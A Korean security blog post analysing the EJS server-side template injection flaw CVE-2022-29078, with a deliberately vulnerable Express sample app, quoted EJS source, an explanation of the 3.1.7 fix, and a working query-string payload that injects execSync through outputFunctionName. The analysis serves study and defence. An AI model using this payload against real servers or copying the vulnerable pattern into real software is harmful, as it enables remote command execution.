One_Blog

EJS Server Side Template Injection 취약점 [CVE-2022-29078] 본문

웹해킹

EJS Server Side Template Injection 취약점 [CVE-2022-29078]

0xOne 2023. 10. 7. 22:05
728x90

최근 드림핵 워게임을 풀다가 이 취약점을 여러번 보게 되서.. 한번 공부할 겸 글을 쓰게 되었다.

 

해당 글에서 소개하는 PoC 코드는 EJS 3.1.6 이하에서 동작합니다.

 

하지만 그렇다고 그것보다 높은 버전에서 취약점이 발생하지 않는 것은 아니고, 

 

EJS 3.1.9까지도 해당 취약점이 동작할 수 있습니다. 실제로 PoC 코드도 존재합니다.

 

하지만 PoC 코드는 다른 분들 블로그에서도 공개되지 않은 것 같아서, 따로 공개하지 않겠습니다.

 

블로그 읽어보시고 취약점에 대해 선행 공부를 마친 후, 직접 코드를 분석하시면서 공격벡터를 찾아보시기 바랍니다.

 

EJS Github : https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js

 

발생 원인 분석

다른 취약점과 마찬가지로 사용자로부터 받아온 파라미터를 그대로 템플릿에 넘겨주기 때문에 발생합니다.

 

const express = require("express");
const app = express();
 
app.set("view engine", "ejs")
app.get("/", (req, res) => {
    console.log(req.query);
    res.render("index", req.query);
})
 
app.listen(3000, () => {
    console.log("Server listening on port 3000");
}) //index.js
<!DOCTYPE html>
<html lang="en">

<head>
  <title>EJS SSTI</title>
</head>

<body>
  <%= test %>
</body>

</html> //index.ejs

 

다음과 같이 템플릿을 렌더링하여 사용자에게 넘겨주고, 렌더링되는 템플릿에

 

사용자가 넘기는 파라미터를 모두 그대로 넘겨버릴 때 취약점이 발생합니다.

 

여타 취약점과 마찬가지로 사용자의 입력값을 신뢰할 때 발생하는 취약점으로, 특정 파라미터만 뽑아와서 템플릿에 넘겨주는 식으로

 

프로그래밍 해야 해당 취약점으로부터 안전할 수 있습니다.

 

취약점 발생의 원인을 알았으니, 깊게 분석해보겠습니다.

 

  if (typeof arguments[arguments.length - 1] == 'function') {
    cb = args.pop();
  }
  // Do we have data/opts?
  if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
    // Special casing for Express (settings + opts-in-data)
    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }

해당 코드는 실제 ejs 라이브러리의 코드 중 일부입니다. (Github L448 ~ L482)

 

사용자로부터 넘겨받은 req.query를 템플릿에 넘겨주게 되면, 해당 변수는 아래 코드를 통해 템플릿의 data 변수에 저장됩니다.

  if (args.length) {
    // Should always have data obj
    data = args.shift();

data = args.shift(); 함수를 통해 넘겨받은 파라미터가 KEY : VALUE 형태로 저장되는 것입니다.

 

예시로 ?name=hacker와 같은 방식으로 파라미터를 넘겨주었다면, data에는 'name' : 'hacker'와 같은 식으로

 

데이터가 저장되는 구조입니다.

 

코드를 보면 다음과 같은 부분이 존재합니다.

viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }

ViewOpts변수에 data변수의 settings['view options']를 저장하고,

 

해당 값이 존재한다면 opts변수에 viewOpts를 얕은 복사하는 로직입니다.

 

해당 로직이 취약점의 주요 원인입니다.

 

EJS 는 템플릿을 렌더링해줄 때 JS코드를 실행해주는 로직이 존재합니다.

 

그중 취약점이 터지는 로직이 바로

 

 if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts.destructuredLocals && opts.destructuredLocals.length) {
        var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
        for (var i = 0; i < opts.destructuredLocals.length; i++) {
          var name = opts.destructuredLocals[i];
          if (i > 0) {
            destructuring += ',\n  ';
          }
          destructuring += name + ' = __locals.' + name;
        }
        prepended += destructuring + ';\n';
      }

해당 부분입니다.  해당 코드는 prepended 변수에 js 코드를 선언하고, 이후 opts.outputFunctionName이 존재한다면

 

prepended 변수에 있는 js 코드 변수를 opts.outputFunctionName로 덮어씁니다. 그렇게 되면 outputFunctionName이

 

실행되는 JS코드가 되어 결과적으로 코드 실행이 가능하게 됩니다.

 

이때, opts 변수는 settings['view options']의 값을 가져오게되므로, 

 

settings['view options']에 임의의 JS코드를 포함시키고 req.query로 넘겨주게 되면

 

사용자는 원하는 JS코드를 서버에서 실행할 수 있게 됩니다.

 

PoC Code와 Exploit

우리는 결과적으로 opts변수를 덮어쓰고,

prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }

해당 로직이 실행 가능한 JS 코드를 만들도록 req.query값을 조작해야 합니다.

 

따라서 opts를 덮어쓰기 위해 settings[view options]값을 덮어써주고, outputFunctionName에 

 

prepended에서 실행 가능한 JS 코드가 완성되도록 하려면, 다음과 같은 req.query를 보내면 됩니다.

 

settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('실행할 명령어');s

이때 x는 임의의 변수명이며, s는 function __append에 값을 추가하기 위한 값입니다.

 

최종적으로 다음과 같은 페이로드를 통해

 

var __output = "";
function __append(s) {
	if (s !== undefined && s !== null) __output += s
} 
var x;
process.mainModule.require('child_process').execSync('실행할 명령어');
s = __append;

가 되고, 최종적으로 execSync함수에 인자값으로 넘겨준 명령어가 실행되게 됩니다.

 

EJS 3.1.7 이상에서의 Server Side Template Injection

해당 취약점의 경우 3.1.7 이상버전부터 추가된 아래 정규표현식으로 인해 outputFunctionName을 통한 JS 코드 실행이 막히면서

 

더 이상 outputFunctionName으로는 exploit하지 못하게 되었습니다.

if (opts.outputFunctionName) {
    if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
      throw new Error('outputFunctionName is not a valid JS identifier.');
    }

하지만 EJS에는 outputFunctionName이외에도 실행 가능한 JS 코드를 만들어주는 로직이 존재하고,

 

req.query를 그대로 템플릿에 넘겨주는 이상 취약점은 존재할 수 밖에 없습니다.

 

실제로 3.1.7 이상 버전에서도 해당 취약점을 이용한 RCE가 가능합니다.

 

EJS 3.1.9^ RCE 가젯도 알긴 하는데.. 제가 CTF에 써먹어야해서 올리지 않겠습니다.

 

ㅋㅋ

 

블로그 읽어주셔서 감사합니다!

from 감펩님

Reference

EJS SSTI 취약점 분석 : https://lactea.kr/entry/%EB%B6%84%EC%84%9D-%EC%9D%BC%EA%B8%B0-EJS-Server-Side-Template-Injection-to-RCE-CVE-2022-29078

 

[분석 일기] - EJS, Server Side Template Injection to RCE (CVE-2022-29078)

🚪 Intro 2022년 4월달에 nodejs 의 모듈인 EJS에서 RCE 취약점이 발견되었습니다. 맨 아래 Reference 에 있는 링크를 참고하여 어떻게 EJS에서 RCE가 가능한지를 분석해 봤습니다. 취약한 EJS 버전은 `3.1.6`

lactea.kr

EJS CVE 분석 : https://eslam.io/posts/ejs-server-side-template-injection-rce/

 

EJS, Server side template injection RCE (CVE-2022-29078) - writeup

Note: The objective of this research or any similar researches is to improve the nodejs ecosystem security level. Recently i was working on a related project using one of the most popular Nodejs templating engines Embedded JavaScript templates - EJS In my

eslam.io

EJS Github : https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js